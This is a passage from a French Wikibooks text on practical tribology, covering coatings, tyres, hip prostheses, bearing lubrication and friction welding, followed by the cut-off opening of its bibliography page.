pour le transporter, en particulier dans les oléoducs où la viscosité élevée du produit crée des frottements fluides très importants. Des agents de réduction de la résistance à l'écoulement (DRAs, pour Drag Reducing Agents) permettent de diminuer les pertes d'énergie et donc contribuent à la réduction du coût de transport du pétrole. Ce sont des polymères synthétiques de poids moléculaire élevé. On ne sait pas bien comment ces produits agissent et il est difficile d'estimer la quantité idéale qui doit être utilisée. Un institut de recherche espagnol étudie actuellement deux modèles complémentaires ; le premier permet de simuler le comportement des DRAs et leur dégradation au fil du temps, le second d'optimiser les quantités à utiliser et le nombre de points d'injection à prévoir. == Outillages d'extrusion == En Europe, les outillages d'extrusion ont été les premiers à bénéficier de la technologie PVD. Deux micromètres de nitrure de titane ont permis, par exemple, de tripler la durée de certains outillages. On note aussi la possibilité de réaliser des outillages de types inconnus auparavant. Utilisations possibles sur engrenages, roulements à billes, ... La société allemande OMT a mis au point depuis 1990 une technique de revêtements PVD + galvanoplastie multicouche dédiée aux outillages d'extrusion. Les objectifs sont de 3 niveaux : * La protection du substrat de base contre la corrosion et les phénomênes de piquages pouvant détériorer le revêtement, ces dégâts étant bien souvent causés par la mauvaise qualité des eaux de refroidissement. * L'augmentation de la durée de vie de l'outil subissant une très grande abrasion par contact avec le produit extrudé chaud. * Offrir une surface le plus lisse possible avec un coefficient de frottement faible en fonction de la nature du produit transformé. Cette technique offre une épaisseur comprise entre 15 et 20 microns en fonction du substrat de base. L'empilement de molécules forme des couches à base de NiCr/CrN/Cr<sub>2</sub>NO/CrCN. == Outils de poinçonnage et de relevage de collerettes == === Modes d'usure === Le principal mode de dégradation des outils est l'écaillage. L'amélioration de leur tenue s'obtient en évitant soigneusement les défauts de surface, en traitant correctement l'acier de base, en « mouchant » les outils. Les hauteurs de bavure minimales sont obtenues avec des outils dont l'arête de coupe présente un arrondi de l'ordre du dixième de l'épaisseur des tôles poinçonnées. L'usure des parties actives des outils dégrade progressivement la qualité des pièces découpées : variation des cotes, apparition de défauts de forme, modification de l'aspect du bord découpé, augmentation du volume écroui limitant les possibilités de formage ultérieur du bord découpé, variation de la hauteur des bavures. Toutefois, un faible niveau d'usure des arêtes de coupe ne correspond pas nécessairement à la qualité optimle des pièces découpées. Avec des outils revêtus, par exemple, cette qualité est meilleure jusqu'à 35 000 coups de presse, après la tendance s'inverse. === Mesure de l'usure des poinçons === Le plus souvent, on l'évalue par l'examen du profil de l'outil ou indirectement par la mesure des cotes de la pièce découpée. Cette dernière méthode a pour inconvénient de nécessiter le démontage du poinçon et l'on n'est jamais sûr, lors du remontage, de ne pas l'ébrécher et de retrouver exactement sa position initiale. Des chercheurs de l'École Nationale Supérieure de Mécanique et des Microtechniques de Besançon (ENSMM), dans le cadre d'un contrat mettant en jeu les organismes officiels de la Région Franche-Comté et diverses entreprises comme Augé Découpage, Crylas SAS, Alstom Transports et ITT Industries, ont proposé une méthode permettant de mesurer l'usure des poinçons in situ. Par action d'un rayonnement approprié, le tungstène entrant dans la composition du poinçon est transmuté en rhénium radioactif sur une profondeur d'environ 5O µm. Le rhénium émet des rayons γ dont l'intensité dépend de la perte de matière par usure et aussi du temps, puisque la radioactivité décroît naturellement selon une loi exponentielle. Pour en savoir plus sur ce procédé, on peut prendre contact avec Guy Monteil, Laboratoire de microanalyse des surfaces ENSMM, Tél. 03 81 40 28 67, guy.monteil@ens2m.fr ou Fabien Gréban, Société Augé Découpage, Tél. 03 81 40 22 00, recherche@augedecoupage.com === Réalisations pratiques === Dans des conditions industrielles définies, des outils de poinçonnage revêtus de nitrure de titane ou carbonitrure de titane (par PVD) ou de carbure de titane (par CVD) peuvent produire jusqu'à 35000 pièces dont la qualité est supérieure à celle produite par des outils conventionnels non revêtus. == Pneumatiques automobiles == === Pneumatiques et consommation d'énergie === Une partie considérable des pertes par frottement lors du roulement d'un véhicule automobile provient des pneumatiques : pour une voiture particulière roulant à 90 km/h dans des conditions ordinaires, '''les pneumatiques consomment de 25 à 35 % de la puissance fournie par le moteur !''' Compte tenu des récents progrès accomplis dans la conception et la fabrication des pneumatiques, on peut admettre en 2006 que dans des conditions optimales, la résistance au roulement représente 20 % de la consommation de carburant des automobiles. En fait ce chiffre est plutôt optimiste, car les conditions réelles de roulement sont rarement idéales ; en particulier, beaucoup d'automobilistes roulent avec des pneumatiques sous-gonflés. Dans le cas des poids lourds on arrive couramment à 30 %, car la part due à la résistance de l'air est plus faible en raison d'une moindre vitesse moyenne. La résistance à l'avancement des pneus varie énormément : * elle est maximale lorsqu'ils sont froids et se stabilise au bout d'une dizaine de minutes de roulage, * pour une température ambiante voisine de 20°C, la résistance augmente d'environ 1% pour une baisse de 1°C, * elle reste pratiquement constante jusqu'à 100 km/h et augmente très vite au-delà pour doubler vers 180 km/h, * un sous-gonflage de 20 % l'augmente de 8 %, * un pneu neuf dépense 40 % d'énergie de plus qu'un pneu en fin d'usure, * elle varie dans un rapport de 1 à 1,5 selon l'état de la route, les plus faibles valeurs étant obtenues sur des sols lisses un peu mouillés. Ainsi, on comprend mieux pourquoi, dans les compétitions automobiles, on monte des pneus lisses quand la piste est sèche, et pourquoi on pratique un « tour de chauffe » ou même le « brûlage » des pneus avant le début de la course. Les conditions de roulage sont évidemment très différentes pour le véhicule de « monsieur Toutlemonde ». Les pertes d'énergie sont dues pour 85 à 95 % au frottement de roulement et interviennent donc, par hystérésis, dans la matière même. Si l'échauffement qui s'ensuit est trop important, il peut dégrader énormément les caractéristiques du pneu et provoquer son éclatement. Prenons pour base 100 la résistance au roulement pour une vitesse stabilisée à 90 km/h depuis une quinzaine de minutes, sur une bonne route lisse, avec une température ambiante de 30°C et des pneus en fin d'usure normalement gonflés : on passera à 140 avec des pneus neufs, à 190 si la température ambiante descend à 0°C, à 280 si le sol devient très rugueux, à 330 si la mesure est réalisée en début de roulage ... et bien davantage si l'on roule à 130 km/h avec des pneumatiques insuffisamment gonflés. Les fabricants de pneumatiques ont fait des progrès sur le plan de la résistance au roulement depuis quelques dizaines d'années, mais les améliorations sont limitées par la nécessité de conférer aux pneumatiques bien d'autres qualités parfois contradictoires : adhérence, résistance à l'usure, longévité, confort, etc. Les pneumatiques ne peuvent pas être considérés indépendamment de la surface sur laquelle ils roulent. Celle-ci intervient sur l'adhérence, sur l'usure, mais aussi sur le bruit émis lors du roulement des véhicules. Les chaussées en béton et celles qui sont striées semblent particulièrement bruyantes. === Les pneumatiques et les accidents === Les pneumatiques sont le seul lien d'un véhicule avec la chaussée. Ils ne peuvent assurer une bonne tenue de route et un bon freinage que s'ils sont maintenus en parfait état. L'usure et le sous-gonflage sont la cause de nombreux accidents, particulièrement sur autoroute. On attribue à l'éclatement des pneumatiques environ 20% des accidents et 10% des morts. Malgré toutes les campagnes d'information, près de la moitié des automobilistes roulent avec des pneumatiques sous-gonflés. À 130 km/h, la bande de roulement d'un pneumatique arrive environ 20 fois par seconde en contact avec le sol. Si la pression est insuffisante, le pneumatique se déforme de façon excessive et les pertes par frottement interne provoquent un échauffement qui peut devenir très vite destructeur, aboutissant alors à l'éclatement ou au déchapage. La tenue de route n'est pas bonne, particulièrement dans les virages, le freinage devient délicat, la consommation de carburant et l'usure croissent très rapidement. Les pneumatiques lisses utilisés en compétition ne sont pas des pneumatiques usés ... La disparition des sculptures ne pose pas de problème important si la route est sèche, malgré une certaine perte de confort, mais elle devient catastrophique sur un sol humide. L'adhérence est alors diminuée, la tenue de route et le freinage deviennent problématiques. Sous la pluie, les risques d'aquaplaning et de dérapage augmentent, même avec un véhicule équipé de l'ABS. La loi impose de maintenir les pneumatiques en état de fonctionnement correct, avec des sculptures en relief sur toute leur surface. Il ne doit pas exister, lors de la mesure de profondeur des rainures principales d'un des pneumatiques, plus d'un point sur quatre où la profondeur mesurée soit inférieure à 1,6 millimètre. Les quatre points mesurés doivent être répartis à peu près uniformément sur la circonférence du pneumatique et situés à proximité des indicateurs d'usure. Les pneus ne doivent comporter aucune déchirure sur leur flanc et aucune toile ne doit apparaître en surface. === Les pneumatiques "hiver" === Les deux types de pneumatiques, « classique » et « hiver », ne doivent pas être utilisés dans les mêmes conditions climatiques. Le pneu hiver, employé en période hivernale, dure aussi longtemps que le pneu classique utilisée en été. A froid, le pneu hiver patine moins que le pneu classique, ce qui en limite l'usure ; au dessus de 15 °, par contre, il s'use beaucoup plus vite. Les premières générations de pneux à lamelles donnaient parfois une impression de « flottement » aujourd'hui disparue par une meilleur tracé des sculptures et une meilleure forme de la zone de contact au sol. L'incorporation de silice dans les gommes de la bande de roulement a permis d'améliorer l'adhérence à froid sur les sols mouillés. L'émission de bruit est également diminués. Les pneus « hiver » pour les voitures « sportives » ont une gomme plus dure et moins sculptée que ceux que l'on monte sur les véhicules roulant à vitesse modérée. De ce fait, leurs performances sont nettement moins bonnes mais elles restent toutefois bien supérieures à celles que l'on peut attendre de leurs homologues « été ». === Vérifier ses pneumatiques === L'usure des pneumatiques s'observe à l'aide des indicateurs d'usure placée au fond d'une rainure. Par ailleurs, un examen visuel révèle les principales anomalies : * l'usure des bords de la bande de roulement révèle un sous-gonflage, * inversement, une usure plus marquée au centre est signe d'un excès de gonflage, * une usure asymétrique dénote un mauvais réglage du train avant (parallélisme ou géométrie), * une usure trop rapide ou irrégulière résulte d'une géométrie déréglée, du mauvais état des amortisseurs ou d'un grave défaut d'équilibrage. Les pressions à respecter sont indiquées sur les flancs des pneumatiques et les constructeurs automobiles affichent également leurs préconisations à l'intérieur des portières. La mesure de la pression doit toujours se faire à froid, mais si l'on est obligé de procéder à chaud, il faut ajouter environ 0,3 bar à la valeur préconisée. Un léger sur-gonflage (+ 0,2 bar) est sans danger, contrairement au sous-gonflage, et on peut le conseiller si l'on roule fréquemment sur route rapide ou sur autoroute. Ne pas oublier la roue de secours ! La détérioration des flancs des pneumatiques est particulièrement dangereuse. Il faut impérativement les vérifier en cas de choc avec un trottoir, une pierre ou tout autre obstacle. Le constat d'un défaut, déchirure, bosse ou autre, impose le remplacement immédiat, même si le pneumatique n'est pas usé, car le risque d'éclatement est alors considérable. Sur un même essieu, il ne faut jamais monter des pneumatiques de structures différentes, ni bien sûr un pneumatique neuf et un pneumatique usé. Les pneumatiques neufs doivent être montés de préférence à l'arrière, car les roues arrières d'une automobile sont généralement celles qui sont les plus « directrices », au sens où ce sont elles qui jouent le plus grand rôle dans le maintien du véhicule sur une trajectoire donnée. Par ailleurs, l'éclatement à l'arrière est bien plus dangereux qu'à l'avant. === Recherches actuelles et innovations === ==== Ensemble roue-pneu Tweel ==== Michelin a dévoilé au Salon de Détroit, sous le nom de Tweel, un ensemble roue-pneu totalement increvable. Il s'agit d'un ensemble semi-flexible qui ne comporte aucune jante, pratiquement pas de métal et aucune zone gonflable ; tout risque de crevaison est donc éliminé. Ce pneu-roue a été adapté à certains fauteuils roulants, à des quads électriques et à certains vénicules militaires. Les essais sur des automobiles ont montré que les performances étaient équivalentes à celles des pneumatiques classiques, avec moins de pertes d'énergie. Le Tweel est insensible aux dommages provoqués par les nids de poules ou le frottement latéral sur les trottoirs. Il rend inutiles les opérations de montage et d'équilibrage mais la bande de roulement doit être remplacée quand elle est usée. Michelin estime à 10 ou 15 ans le temps de recherche et d'expérimentation nécessaire pour faire accepter ce produit par les constructeurs d'automobiles et par les consommateurs. ==== Pneumatique à trois chambres ==== Alors qu'aujourd'hui la tendance est plutôt d'utiliser des pneus sans chambre, la société japonaise Bridgestone annonce en mars 2006 la mise prochaine sur le marché d'un nouveau pneu comportant pas moins de trois chambres à air, une principale au centre et deux latérales, dont les pressions peuvent être contrôlées indépendamment. Les avantages de ce pneumatique seraient de deux ordres : * en ajustant les raideurs des flancs et de la bande de roulement, on améliore le contact du pneu avec la route et l'on obtient un comportement routier plus stable et plus confortable, * en cas de crevaison d'une chambre, les deux autres permettent de supporter le poids du véhicule et l'on peut continuer à rouler, à vitesse réduite évidemment, pendant quelques km. ==== Autres recherches ==== General Electric s'oriente vers l'utilisation d'élastomères à base de silicium (silicones, silanes, ...). Michelin travaille aussi sur des roues susceptibles de s'adapter aux conditions de roulement grâce à de nouveaux polymères capables de changer de forme sous l'effet de champs électriques. La surface est celle d'un pneumatique normal sur revêtement sec, mais la partie centrale peut devenir proéminente pour limiter la résistance au roulement sur autoroute ou au contraire se creuser par temps de pluie pour laisser un chenal d'évacuation de l'eau. Enfin, les sculptures se creusent au maximum sur la neige. À suivre ! === Pneumatiques automobiles et pollution === Le roulement des pneumatiques sur le sol est responsable d'une grande partie de la pollution atmosphérique due aux véhicules routiers. Des microparticules sont émises par le concassage des éléments des revêtements mais aussi par les pneumatiques eux-mêmes, qui perdent progressivement la matière de leur bande de roulement. Chaque année, des milliers de tonnes de caoutchouc et autres produits sont ainsi dispersées dans l'environnement, jusqu'ici dans l'indifférence à peu près générale. Ces microparticules pénètrent profondément dans les voies respiratoires et l'on pense qu'elles contribuent largement, au même titre que les émissions des échappements, au développement de diverses pathologies comme les cancers, les accidents cardiovasculaires et respiratoires. L'intérêt des « filtres à pollen » de plus en plus souvent proposés pour les circuits d'aération des véhicules est surtout de retenir une partie des microparticules émises par la circulation automobile, plutôt que de lutter contre le « rhume des foins ». == Produits chimiques et frottement == L'action du frottement sur certains produits chimiques n'est pas toujours anodine. L''''[[w:acide picrique|acide picrique]]''' entre dans ce cadre. Ce produit est un réactif qui a été couramment utilisé dans les laboratoires voici quelques années, mais dont on se sert beaucoup moins aujourd'hui à cause du développement de nouvelles techniques pous efficaces. Cet acide, sous sa forme solide, est en fait un explosif connu sous le nom de [[w:mélinite|mélinite]] et qui se révèle très instable sous l'effet de la chaleur ou du frottement. Le simple fait d'ouvrir un flacon peut suffire à provoquer une explosion, surtout si le produit n'a pas été utilisé depuis longtemps et si, avec le temps, la poudre s'est plus ou moins agglomérée sous le bouchon. Il est alors plus que fortement conseillé de faire appel à un service spécialisé dans la neutralisation des explosifs pour procéder à son élimination, qui consiste presque toujours à provoquer l'explosion du flacon dans des conditions de sécurité appropriées. En cas de doute, il ne faut ni déplacer, ni toucher, ni surtout ouvrir les flacons. == Prothèses articulaires == === Prothèses de la hanche === L'articulation de la hanche est une des plus simples parmi toutes celles que l'on rencontre dans le corps humain, puisqu'il s'agit d'une simple rotule. Ses pathologies se multiplient en raison des nouveaux modes de vie et de travail mais aussi à cause de pratiques sportives désastreuses. L'attention insuffisante portée à cette articulation, en particulier lors des visites médicales d'aptitude, se paye quelques années plus tard. Le football, le rugby, le handball ou le basket sollicitent beaucoup les hanches mais les conditions actuelles de pratique du tennis font de ce dernier un sport à haut risque, ce que de nombreux champions apprennent à leurs dépens. Les techniques chirurgicales se limitent généralement à retirer des débris de cartilage, les résultats obtenus sont peu probants. L'administration d'anti-inflammatoires ou l'injection d'acide hyaluronique pour augmenter la lubrification ne résolvent pas les problèmes de fond, au contraire, car le sportif ne ressent plus la douleur et continue d'endommager ses cartilages avec davantage d'entrain. La prévention semble être actuellement la meilleure méthode de lutte contre les pathologies des articulations. Les membres inférieurs de longueur différente doivent être détectés, car ils entraînent des déséquilibres articulaires aux conséquences graves. Dans beaucoup de sports, les mouvements brutaux, les changements de direction, les aller et retour rapides, les blocages à la réception d'un saut, etc., font porter aux hanches jusqu'à dix fois le poids du corps et cette situation s'aggrave avec le développement exagéré de la musculature, qui ne s'accompagne pas d'une augmentation concomitante des surfaces d'appui articulaires. En cas de problème, on sait maintenant que prescrire le repos est une erreur car les fonctions de l'organisme s'entretiennent par l'usage, mieux vaut une activité physique modérée qui continue de solliciter raisonnablement les articulations. ==== Évolutions historiques==== La première '''prothèses de hanche''' de R. Judet était en '''résine acrylique''', matériau qui fut rapidement abandonné en raison de son usure et des débris produits. Les premières prothèses utilisables étaient en acier inoxydable, toujours utilisé dans certains cas. Les alliages de type '''chrome-cobalt''' résistent mieux et produisent moins de débris mais ils ne sont pas toujours bien tolérés et on les tient pour les responsables principaux des descellements. Les alliages de '''titane''', d'utilisation plus récente, sont particulièrement intéressants pour les prothèses sans ciment en raison de leur module d'élasticité plus proche de celui de l'os. On sait depuis peu que si la prothèse est cimentée, la surface de la prothèse fémorale en alliage de titane doit impérativement être lisse. La prothèse de Mac Kee faisait frotter une tête en [[acier]] sur un cotyle en acier, elle fut abandonnée à la suite de très nombreux descellements. Charnley trouva une autres solution, toujours utilisée. Il fit frotter une tête métallique en alliage '''chrome-cobalt''' (meilleur dans ce cas que l'acier inoxydable) sur un cotyle en '''polyéthylène''' haute densité. L'usure de ce dernier est de l'ordre de 0,1 mm par an Boutin fut le premier à utiliser une tête en '''céramique''' (alumine) et un cotyle en '''polyéthylène'''. Le frottement céramique-polyéthylène est excellent et produit peu de débris d'usure. La céramique de zircone tend aujourd'hui à remplacer l'alumine. Le frottement céramique-céramique produit peu de débris mais se révèle fragile. Grâce à de nouvelles techniques de polissage, des chirurgiens suisses et allemands ont mis au point pour le cotyle, une coque en alliage de chrome-cobalt encastrée dans un cotyle en polyéthylène, avec un frottement métal-métal. Ce système est expérimental et doit encore faire ses preuves. Depuis 1985, les travaux se sont orientés vers un nouveau couple de frottement : '''métal-céramisé''' contre métal-céramisé: le Plasma-Ceram est obtenu par projection à la torche plasma d'oxyde de chrome. La vitesse des particules en sortie de torche est de 1800 m/s et la température de 15000°C ; un refroidissement très brutal assure une hypertrempe de 15000 à 60°C en 10 µs. Il en résulte un véritable encastrement à chaud de cristaux hexagonaux dont la tenue mécanique est largement supérieure aux cristaux tétragonaux habituels pour les céramiques. Propriétés du revêtement : * Résistance d'ancrage de la céramique sur le substrat : 4 MPa * Dureté : 1800 Vickers * Module d'élasticité 280000 MPa * Densité 5,41 * Biocompatibilité confirmée sur cultures cellulaires, petits et gros animaux. * Coefficient de frottement à sec : 0,075. ==== Procédures de pose des prothèses ==== La prothèse totale d'une articulation consiste à enlever l'articulation naturelle endommagée à la suite d'un traumatisme ou d'une arthrose et à la remplacer par une articulation artificielle. Une articulation est constituée par les extrémités de deux ou plusieurs os reliées entre elles par des ligaments. Par exemple, la hanche est une rotule dont la sphère femelle appartient à l'os pelvien et la sphère mâle à l'extrémité du fémur. Le genou met en relation l'extrémité inférieure du fémur avec l'extrémité supérieure du tibia. Les extrémités des os mis en contact sont normalement recouvertes d'une couche de cartilage qui assure un glissement doux et presque sans frottement. Le fonctionnement de l'articulation devient douloureux lorsque ce cartilage se trouve endommagé. Chaque articulation est en outre enfermée dans une enveloppe de tissu fibreux contenant un liquide lubrifiant, la synovie. L'endommagement d'une articulation est parfois si sévère et douloureux que le patient évite tout mouvement non nécessaire, ce qui finit par affaiblir les muscles correspondants et réduire encore la mobilité. C'est l'état de l'ensemble constitué par les os, le cartilage, les ligaments et les muscles qui amènera à décider s'il vaut mieux opérer ou laisser les choses en l'état. L'opération ne doit être décidée que lorsque toutes les autres méthodes de soins ont échoué. La plupart des prothèses comportent des éléments métalliques réalisés en acier inoxydable, en alliage chrome-cobalt ou en titane et fixés à la partie conservée de l'os par des ciments acryliques. Les contre-faces de frottement sont maintenant réalisées en polyéthylène à haute densité, matériau qui présente de bonnes caractéristiques frottantes en face des métaux. L'opération est pratiquée sous anesthésis générale ou locale. Moins l'anesthésie est importante et plus la rééducation est rapide. On peut normalement recommencer à marcher un jour ou deux après une prothèse totale de genou ou de hanche. On n'opère en général que les patients de plus de 60 ans, sauf dans de rares cas, car les personnes plus jeunes ont tendance à user trop vite les prothèses qui doivent alors être remplacées, ce qui est toujours délicat. Le taux de réussite est actuellement de 95 %. Les complications qui peuvent survenir sont généralement des infections, la formation de caillots dans les veines ou, plus grave, la rupture, l'usure ou la dislocation de la prothèse. ====Difficultés pour évaluer les solutions==== Il est couramment admis qu'en arthroplastie totale de la hanche, aucune comparaison des résultats cliniques obtenus avec différentes sortes d'implants ne peut être raisonnablement établie avant une durée de l'ordre de 10 ans. Comme pour tous les systèmes qui doivent atteindre des durées de vie importantes, il est très difficile de réaliser des essais de vieillissement accéléré en laboratoire car on risque de faire apparaître des processus de dégradation différents de ceux qui se produisent dans la réalité. On sait toutefois que les débris d'usure sont responsables en grande partie des complications à long terme, en particulier à cause de réactions immuno-allergiques provoquées par les particules métalliques, réactions auxquelles on attribue certains descellements. Les surfaces frottantes doivent donc être choisies en fonction de leurs émissions sous l'effet du frottement. === Prothèses du genou === == Prothèses du genou == == Revêtements routiers == Pour une large part, l'usure des revêtements routiers est comparable à l'écaillage des pistes des roulements à billes ou à rouleaux. Le passage répété d'éléments roulants endommage progressivement les sous-couches et provoque, à terme, le décollement de la couche superficielle. On montre que l'usure des revêtements est proportionnelle à la quatrième puissance de la charge à l'essieu. Ainsi, compte tenu de la répartition des charges entre les roues avant et arrière, un camion de 13 tonnes à deux essieux use autant les routes que 100 000 automobiles. Lorsque l'on calcule un revêtement d'autoroute, on tient compte à peu près uniquement du passage des poids lourds, celui des automobiles n'intervenant que pour un faible pourcentage, presque toujours largement inférieur à 5 %. Au Canada, la nouvelle répartition du produit des taxes sur les carburants tient compte de cet état de fait, en considérant que le carburant diesel est utilisé par les véhicules lourds responsables de la majeure partie de l'usure des routes. == Roulements == Les formes de dégradation sont extrêmement diversifiées et complexes. Voir l'article détaillé : '''[[Roulements - Endommagement]]''' == Roulements, lubrification == Comme on l'a vu, la lubrification a pour premier rôle de prévenir le grippage. Elle doit en outre participer au refroidissement et favoriser un état d'équilibre thermique laissant un jeu positif. La lubrification se fait en régime limite au niveau des contacts et en régime hydrodynamique dans les zones de centrage des cages. Les cages en plastique ne nécessitent pas une grande lubrification, contrairement à celles en alliages cuivreux. Les additifs antifatigue jouent un rôle essentiel, ils sont surtout bénéfiques dans les roulements lubrifiés à vie par la graisse, comme ceux des roues d'automobile pour lesquels la durée de vie est atteinte normalement par fatigue. '''Il est recommandé de ne jamais laver les roulements neufs avec un solvant sans une raison impérative.''' La '''lubrification à la graisse''' est recommandée à chaque fois qu'elle est possible. La graisse protège mieux contre la corrosion que l'huile car elle reste en place. Jusqu'à 160°C des graisses avec bentonite et huile minérale conviennent, au-delà, on fait appel aux graisses synthétiques et aux silicones. Trop de graisse freine la rotation, provoque un échauffement anormal et des glissements entre les billes et les bagues qui peuvent détériorer l'état de surface. Il ne faut pas remplir plus de la moitié de l'espace libre ; pour les gros roulements, on fait couler un peu d'huile minérale avant de mettre la graisse pour assurer la lubrification dès la mise en mouvement des pièces. '''On ne saurait trop souligner l'importance pour la longévité d'une propreté méticuleuse.''' Il est important, lorsque l'on réalise des introductions périodiques de graisse, qu'il subsiste de l'espace pour recevoir la graisse usée et que la graisse neuve soit toujours la même. La '''lubrification à l'huile''' permet aussi d'évacuer la chaleur mais elle donne souvent un échauffement plus fort que la graisse car il est difficile de limiter la quantité qui participe effectivement à la lubrification. Généralement l'huile sert simultanément à d'autres organes, comme les engrenages des réducteurs de vitesse. Les paliers indépendants lubrifiés à l'huile sont plus onéreux que ceux qui sont graissés car ils doivent être dotés d'un système d'étanchéité approprié. L'huile ne protège pas autant que la graisse contre l'oxydation, surtout si les roulements sont à l'arrêt. Elle doit posséder des propriétés anti-rouille et extrême-pression, et ne doit ni s'émulsionner ni être miscible avec l'eau. Des huiles du genre SAE 10 avec divers additifs conviennent pour les températures ordinaires, les produits synthétiques couvrent une gamme plus large de -50 à 200°C. Au-delà de 260°C le craquage des huiles synthétiques les fait abandonner au profit des lubrifiants solides ou de l'éther polyphényle. La '''lubrification par brouillard d'huile''' donne les coefficients de frottement les plus bas en raison des faibles doses de produit introduites dans le roulement. Les pulvérisateurs fournissent de l'air huilé à raison de 2 à 5 g/m<sup>3</sup>. On obtient aussi un bon refroidissement et, grâce à la surpression, une protection efficace contre l'entrée de poussières abrasives ou de gaz nocifs. Cette solution est intéressante pour les machines-outils, les broches de rectifieuses, les concasseurs, broyeurs, paliers de fours rotatifs ou de laminoirs, etc. La '''lubrification à sec''' concerne essentiellement les satellites et sondes spatiales, mais aussi certaines applications sous vide ou à haute température. L'efficacité des lubrifiants solides est conditionnée par la stabilité du film de transfert. Au début, on a utilisé du bisulfure de molybdène déposé par brunissage, des dépôts d'or ou d'argent, les résultats n'ont pas été très convaincants. Des dépôts de plomb de 0,1 micromètre se sont montrés assez fiables. Des cages autolubrifiantes permettent d'établir un film de transfert indirect et sont généralement faites de composites à base de fibres de verre chargés de PTFE ou de bisulfure de molybdène, elles servent de -185 à 300°C. Des matériaux composites MoS<sub>2</sub>/Cobalt/Argent, MoS<sub>2</sub>/Tantale/Fer, MoS<sub>2</sub>/Tantale/Molybdène ont été développés par Boeing et ont donné des résultats moyennement encourageants. Toutes les solutions intéressantes passent aujourd'hui par le bisulfure de molybdène. == Soudage par friction == Le '''soudage par rotation''' est bien adaptée aux pièces de révolution. L'une des pièces est entraînée en rotation et frotte contre l'autre, qui est maintenue immobile par un outillage. La chaleur dégagée dans la zone frottante permet de faire fondre les matériaux qui se soudent, une fois le mouvement arrêté. Ce procédé s'applique aux métaux, il permet d'ailleurs de lier entre eux des alliages que l'on ne saurait pas souder autrement, et à beaucoup de matériaux thermoplastiques. Le '''soudage par ultrasons''' met à profit l'énergie dépensée à l'interface de deux pièces sous l'effet de vibrations mécaniques à haute fréquence. Elle permet de réaliser très facilement des points de soudure et des rivetages sur des pièces thermoplastiques, on l'utilise très couramment dans l'industrie automobile pour l'assemblage des phares, des tableaux de bord, etc. Une information quelque peu inattendue concerne la possibilité, mise en évidence depuis peu, de souder des pièces de [[Tribologie_-_Applications_pratiques#Bois|bois]] par friction. == Sports == === Ski === Dans la course aux performances, en particulier dans les épreuves de descente, on cherche évidemment à diminuer toutes les forces susceptibles de freiner le mouvement. De nombreux chercheurs travaillent aujourd'hui sur ces questions et la préparation des sportifs et des équipements se fait depuis quelques années en laboratoire. On peut penser que les sommes énormes investies dans ces recherches, afin de gagner quelques millièmes de seconde, pourraient être mieux utilisées ailleurs ; mais c'est ainsi. Aux vitesses élevées, la résistance de l'air, que l'on traduit par un coefficient de traînée aérodynamique (Cx), est l'ennemi numéro un. C'est en soufflerie, dans des veines d'air pouvant atteindre 200 à 250 km/h, que l'on recherche la meilleure posture possible pour chaque skieur ; cette posture est celle qui facilite au mieux la pénétration dans l'air tout en laissant au skieur une liberté de mouvements suffisante pour qu'il puisse contrôler sa trajectoire. On teste aussi par la même occasion les caractéristiques aérodynamiques des combinaisons, des casques et des chaussures. Le frottement des skis sur la neige est également l'objet de recherches tribologiques approfondies. On sait que ce problème est complexe : le glissement est favorisé par la fusion superficielle de la neige au contact du ski, mais cette fusion utilise l'énergie dépensée lors du frottement que l'on veut justement combattre. Il y a donc là un point d'équilibre, un optimum entre ces deux facteurs contradictoires, en-deçà et au-delà duquel les résistances augmentent. Contrairement à ce que l'on pourrait penser, des semelles de skis parfaitement lisses ne donnent pas les meilleurs résultats. Une légère rugosité est nécessaire et on a constaté que des stries très fines, de quelques µm, évitent que le ski colle sur la neige par un effet de ventouse. Les chercheurs étudient la meilleure configuration de ces stries selon la température de la neige. Les combinaisons trop lisses ne sont pas non plus les meilleures. Comme pour les balles de golf, qui vont plus loin si on ménage des alvéoles sur leur surface, un certain relief est favorable à une diminution du Cx. De plus, ce relief freine efficacement les glissages en cas de chute et se révèle très utile pour la sécurité des skieurs, dont on sait que la trajectoire se termine souvent dans les filets de protection. == Transports == Le trottoir roulant accéléré Trax est équipé de galets de guidage en acier recouvert de poyuréthanne surmoulé. == Vis d'extrudeuses == Elles travaillent dans des conditions difficiles : fortes contraintes mécaniques, entre autres de torsion, gradient de température important, conditions d'usure abrasive, possibilité de corrosion. Après quelques semaines les vis non traitées présentent une usure à la fois abrasive et corrosive. On peut utiliser divers revêtements durs, tels que : céramiques à base d'oxyde de chrome, carbure de tungstène avec liant métallique nickel-chrome, ou carbure de chrome avec liant métallique. Tribologie - Bibliographie 986 45426 2006-06-22T22:24:34Z Jean-Jacques MILAN 114 /* Applications diverses */ [[Catégorie:Tribologie]] {{Tribologie}} {| border ="1" |Les documents qui ont servi à la rédaction du Wikilivre de '''[[tribologie]]''' et de ses annexes sont classés par grands thèmes : de ce fait, un document du genre « Lubrification et avaries par fatigue dans les roulements » nécessitera la consultation de trois chapitres. |} Le coût très élevé des '''recherches tribologiques fondamentales''', aussi bien sur le plan matériel que sur le plan humain, explique que les lieux où l'on peut les entreprendre sont très peu nombreux. Voici une quinzaine d'années, deux laboratoires étaient particulièrement actifs, l'un à Cambridge et l'autre à Moscou. Tous deux ont apparemment sombré corps et biens, si l'on en juge par le tarissement brutal de leurs publications : le premier, à la suite de quelques années de politique thatchérienne, le second, à la suite du naufrage de l'Union Soviétique. Beaucoup d'organismes ou d'entreprises sont amenés, pour des raisons diverses, à faire de la '''tribologie appliquée''' à propos de tel ou tel de leurs produits, de leurs éléments de machines ou de leurs processus de fabrication. Jusqu'à la fin des années 1980, beaucoup de ces recherches étaient publiées dans des revues de haut niveau comme celles qu'éditaient SKF (roulements à billes, à rouleaux et autres produits), Brown-Boveri (construction de gros matériel électrique, de locomotives, de centrales hydrauliques, thermiques, nucléaires, ...), le Centre Technique des Industries Mécaniques (CETIM) et bien d'autres. Quand ces périodiques n'ont pas purement et simplement disparu, ils ne contiennent plus que des informations générales sans grand intérêt et de la publicité plus ou moins déguisée. D'autres revues techniques plus générales, qui se nourrissaient de ces publications, en faisaient connaître la substance au public, ont vu leurs sources d'informations taries et leur contenu s'est terriblement appauvri. C'est l'une des raisons (pas la seule) pour lesquelles la bibliographie mise à votre disposition pourra vous sembler dans l'ensemble relativement ancienne. Vous n'y trouverez presque rien sur le frottement et l'usure des céramiques, matériaux particulièrement sensibles dans les domaines de l'industrie et de l'armement. Pourtant, les publications ne manquent pas, mais le lecteur le moins attentif aura tôt fait de remarquer qu'elles contiennent des informations très suspectes. Quand, partant des mêmes bases, deux auteurs arrivent à des conclusions radicalement différentes, voire contradictoires, on peut en déduire que l'un '''au moins''' a été contraint de publier un document 